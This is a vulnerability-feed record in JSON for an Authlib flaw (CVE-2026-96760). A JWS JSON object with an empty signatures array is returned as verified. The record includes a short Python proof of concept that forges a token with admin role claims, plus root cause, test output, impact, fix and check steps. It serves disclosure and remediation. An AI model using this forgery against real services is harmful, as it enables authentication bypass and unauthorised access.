{"id":"CVE-2026-96760","kind":"vulnerability","aliases":["CVE-2026-96760","GHSA-6v38-4h7w-rj9h"],"related":[],"title":"Authlib: empty signatures validation in JWS JSON deserialization","description":"Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.\n\n## Root cause\n\n`authlib/jose/rfc7515/jws.py`, read on the installed 1.8.0 artifact:\n\n```python\nis_valid = True                        # set before anything is checked\nfor header_obj in obj[\"signatures\"]:   # empty array means the body never runs\n    jws_header, valid = self._validate_json_jws(...)\n    if not valid:\n        is_valid = False\n...\nif is_valid:\n    return rv                          # returns the payload as verified\n```\n\n`is_valid` is initialised to `True` and only ever set to `False` from inside the loop. A JWS JSON\nSerialization object whose `signatures` array is empty iterates zero times, so the flag survives and\nthe payload is returned as successfully verified. No key is consulted, because no signature is\nexamined.\n\n## Reproduction\n\n```python\nimport base64\nfrom authlib.jose import JsonWebSignature\n\ndef b64(b):\n    return base64.urlsafe_b64encode(b).rstrip(b\"=\").decode()\n\njws = JsonWebSignature()\npayload = b'{\"sub\":\"attacker\",\"role\":\"admin\"}'\nforged = {\"payload\": b64(payload), \"signatures\": []}\n\nprint(jws.deserialize_json(forged, key=None))\n```\n\nObserved on authlib 1.8.0, Python 3.14, clean virtualenv:\n\n```\n[A] ATTACK   general JSON, signatures:[] , key=None\n    ACCEPTED  -> {'header': [], 'payload': b'{\"sub\":\"attacker\",\"role\":\"admin\"}'}\n[B] ATTACK   general JSON, signatures:[] , key=<real key>\n    ACCEPTED  -> {'header': [], 'payload': b'{\"sub\":\"attacker\",\"role\":\"admin\"}'}\n[C] CONTROL+ genuine general JSON with 2 signatures, right key\n    ACCEPTED (expected) payload= b'{\"sub\":\"attacker\",\"role\":\"admin\"}'\n[D] CONTROL- same object, first signature corrupted\n    rejected (expected): BadSignatureError bad_signature:\n[E] CONTROL- signatures array removed entirely (not empty, absent)\n    rejected: DecodeError Missing \"protected\" value:\n```\n\n[C] proves the verifier works normally on a genuine object, so a deployment looks healthy. [D] proves\ntampering is caught. [E] proves this is specifically the empty-array case and not a general\nmissing-member bug. [A] and [B] are the bypass, and [B] shows that holding the correct key does not\nsave a caller: the empty array is accepted either way.\n\nFor comparison, joserfc 1.7.5, the library this module's deprecation warning points users to, rejects\nthe identical object with `BadSignatureError`. The correct behaviour already exists in your newer\nlibrary.\n\n## Impact\n\nAny relying party that calls `JsonWebSignature.deserialize_json()` on input it did not produce will\naccept an attacker-authored payload as signed. Where that payload carries identity or authorisation\nclaims, this is a complete authentication bypass by an unauthenticated remote caller with no key\nmaterial. \n\n## What would fix it\n\nIn `_deserialize_json`, reject an empty `signatures` array before the loop, or initialise the flag\nfrom the signature count, for example `is_valid = len(obj[\"signatures\"]) > 0`. Pull request #938\nproposes the same thing.","summary":"Authlib's JsonWebSignature.deserialize_json() returns the payload as verified when the signatures array is empty, without checking any signature or key. An attacker can submit a forged payload carrying identity or role claims and have it accepted as authentic.","severity":"critical","cvss":9.8,"epss":0.00383,"exploited":false,"exploited_at":null,"products":[{"name":"authlib","fixed":["1.9.0"],"affected":"<= 1.8.0","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["jwt","cwe-347","authlib","poc-public","jose","python","package","auth"],"not_affected_if":["compact-jws-only","no-untrusted-json-jws"],"how_to_check":"- Run `pip show authlib` and check whether the version is at or below `1.8.0`.\n- Search dependency lockfiles for `authlib` to find every service that pins an affected version.\n- Find code that calls `deserialize_json(` on JWS input from outside the system.","fix":"- Upgrade the `authlib` package to `1.9.0` or later.\n- Until upgraded, reject JWS JSON objects with an empty `signatures` array before calling `deserialize_json()`.","status":"open","published_at":"2026-09-28T20:17:11+00:00","first_seen_at":"2026-10-27T14:52:48+00:00","triaged_at":"2026-10-27T14:53:47+00:00","updated_at":"2026-10-27T15:04:16+00:00","category":"package","confidence":0.85,"triage":{"at":"2026-10-27T14:53:47Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade the `authlib` package to `1.9.0` or later.\n- Until upgraded, reject JWS JSON objects with an empty `signatures` array before calling `deserialize_json()`.","reach":"internet","title":"Authlib: empty JWS JSON signatures array lets forged payloads verify","impact":"high","summary":"Authlib's JsonWebSignature.deserialize_json() returns the payload as verified when the signatures array is empty, without checking any signature or key. An attacker can submit a forged payload carrying identity or role claims and have it accepted as authentic.","category":"package","nicknames":[],"who_cares":["python","authlib","auth","jwt","jose"],"confidence":0.85,"needs_auth":"no","worst_case":"Attacker forges any payload, including admin claims, without any key","analyst_note":"","how_to_check":"- Run `pip show authlib` and check whether the version is at or below `1.8.0`.\n- Search dependency lockfiles for `authlib` to find every service that pins an affected version.\n- Find code that calls `deserialize_json(` on JWS input from outside the system.","needs_analyst":false,"not_affected_if":["compact-jws-only","no-untrusted-json-jws"],"who_is_affected":"Applications that call Authlib's JsonWebSignature.deserialize_json() on JWS JSON Serialization input they did not produce itself are exposed, especially where the payload carries identity or authorisation claims. Systems that only use compact JWS or JWT verification through other entry points, or that never parse JSON-serialised JWS from untrusted sources, are less exposed. Teams not using Authlib can skip it.","user_interaction":"no","needs_special_setup":"no","severity_if_unknown":"critical"},"cost_usd":0.00075,"input_tokens":4465,"output_tokens":606,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-2026':10A,18A '-347':23B '-96760':11A,19A '0':497C '1.7.5':395C '1.8.0':116C,250C '1.9.0':74C '2':290C '3.14':252C '4h7w':15A '6v38':14A '938':500C 'absent':322C 'accept':68B,85C,262C,276C,294C,389C,436C 'admin':235C,269C,283C,301C 'alreadi':415C 'anyth':124C 'array':44B,134C,183C,317C,356C,387C,478C 'artifact':117C 'attack':54B,233C,256C,267C,271C,281C,299C,439C 'attacker-author':438C 'auth':31B 'authent':70B,456C 'authlib':1A,20A,24B,32B,71C,249C 'authlib.jose':215C 'authlib/jose/rfc7515/jws.py':111C 'author':440C 'authoris':450C 'b':220C,224C,226C,231C,265C,270C,279C,297C,368C,373C 'b64':219C,238C 'b64encode':223C 'bad':312C 'badsignatureerror':311C,411C 'base64':213C 'base64.urlsafe':222C 'behaviour':414C 'bodi':137C 'bug':365C 'bypass':79C,371C,457C 'c':284C,328C 'call':426C 'caller':384C,462C 'carri':60B,447C 'case':357C 'caught':347C 'caus':110C 'check':48B,99C,126C 'claim':64B,451C 'clean':253C 'comparison':393C 'complet':455C 'consult':204C 'contain':75C 'control':285C,303C,315C 'correct':378C,413C 'corrupt':308C 'count':489C 'cryptograph':107C 'cve':9A,17A 'cwe':22B 'd':302C,343C 'decod':227C 'decodeerror':324C 'def':218C 'deploy':340C 'deprec':401C 'deseri':8A,472C 'e':314C,348C 'either':390C 'empti':2A,46B,133C,185C,321C,355C,386C,476C 'empty-array':354C 'entir':319C 'ever':168C 'examin':209C 'exampl':491C 'exist':416C 'expect':295C,310C 'fals':149C,171C 'first':306C 'fix':469C 'flag':191C,485C 'forg':58B,236C,244C 'general':257C,272C,287C,361C 'genuin':286C,336C 'ghsa':13A 'ghsa-6v38-4h7w-rj9h':12A 'header':128C,141C,263C,277C 'healthi':342C 'hold':376C 'ident':61B,408C,448C 'impact':421C 'import':212C,216C 'initialis':163C,483C 'input':430C 'insid':173C 'instal':115C 'iter':186C 'jose':28B 'joserfc':394C 'json':7A,35B,83C,87C,178C,243C,258C,273C,288C,428C,473C 'jsonwebsignatur':217C,229C 'jsonwebsignature.deserialize':34B,82C,427C 'jws':6A,89C,140C,177C,228C 'jws.deserialize':242C 'jwt':21B 'key':52B,108C,202C,245C,260C,275C,293C,379C,465C 'len':494C 'librari':397C,420C 'look':341C 'loop':175C,481C 'materi':466C 'mean':135C 'member':364C 'method':84C 'miss':325C,363C 'missing-memb':362C 'modul':399C 'never':138C 'newer':419C 'none':246C,261C 'normal':333C 'obj':129C,131C,495C 'object':90C,180C,305C,337C,409C 'observ':247C 'packag':30B 'parti':424C 'payload':38B,59B,94C,157C,195C,230C,237C,239C,264C,278C,296C,441C,446C 'poc':26B 'poc-publ':25B 'point':403C 'print':241C 'prior':72C 'produc':434C 'propos':501C 'protect':326C 'prove':329C,344C,349C 'public':27B 'pull':498C 'python':29B,118C,211C,251C 'read':112C 'reject':309C,323C,406C,474C 'reli':423C 'remot':461C 'remov':318C 'reproduct':210C 'request':499C 'requir':105C 'return':36B,92C,153C,155C,197C,221C 'right':292C 'rj9h':16A 'role':63B,234C,268C,282C,300C 'root':109C 'rstrip':225C 'run':139C 'rv':154C 'save':382C 'self._validate_json_jws':143C 'serial':88C,179C 'set':122C,169C 'show':374C 'sign':443C 'signatur':3A,43B,50B,77C,102C,132C,182C,207C,240C,259C,274C,291C,307C,313C,316C,477C,488C,496C 'specif':352C 'sub':232C,266C,280C,298C 'submit':56B 'success':96C,199C 'surviv':192C 'tamper':345C 'thing':504C 'time':188C 'true':121C,165C 'unauthent':460C 'user':404C 'valid':4A,120C,142C,146C,148C,152C,161C,493C 'valu':327C 'verif':78C 'verifi':40B,97C,159C,200C,331C 'virtualenv':254C 'vulner':80C 'warn':402C 'way':391C 'whose':181C 'without':47B,98C,104C 'work':332C 'would':468C 'zero':187C","nicknames":[],"mitigations":[],"who_affected":"Applications that call Authlib's JsonWebSignature.deserialize_json() on JWS JSON Serialization input they did not produce itself are exposed, especially where the payload carries identity or authorisation claims. Systems that only use compact JWS or JWT verification through other entry points, or that never parse JSON-serialised JWS from untrusted sources, are less exposed. Teams not using Authlib can skip it.","tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-09-28T20:17:11+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","cvss_by":"GitHub","poc_count":1,"sources":[{"source":"ghsa","external_id":"GHSA-6v38-4h7w-rj9h","url":"https://github.com/advisories/GHSA-6v38-4h7w-rj9h","severity":"critical","published_at":"2026-10-27T14:50:18+00:00","modified_at":"2026-10-27T14:50:19+00:00","first_seen_at":"2026-10-27T14:52:48+00:00","fetched_at":"2026-10-27T14:52:48+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-96760","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96760","severity":null,"published_at":"2026-09-28T20:17:11+00:00","modified_at":"2026-10-01T14:17:32+00:00","first_seen_at":"2026-10-27T15:02:22+00:00","fetched_at":"2026-10-27T15:02:22+00:00","note":null},{"source":"github-poc","external_id":"piecar21/CVE-2026-96760","url":"https://github.com/piecar21/CVE-2026-96760","severity":null,"published_at":"2026-10-27T14:52:48+00:00","modified_at":null,"first_seen_at":"2026-10-27T15:04:16+00:00","fetched_at":"2026-10-27T15:04:16+00:00","note":null}],"documents":[{"id":6707,"url":"https://github.com/piecar21/CVE-2026-96760","title":"piecar21/CVE-2026-96760","kind":"poc","source":"github","text":"PoC / exploit archive for CVE-2026-96760\n\nstars 0","published_at":"2026-10-27T14:52:48+00:00","relation":"poc","confidence":null,"note":"0 stars"}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}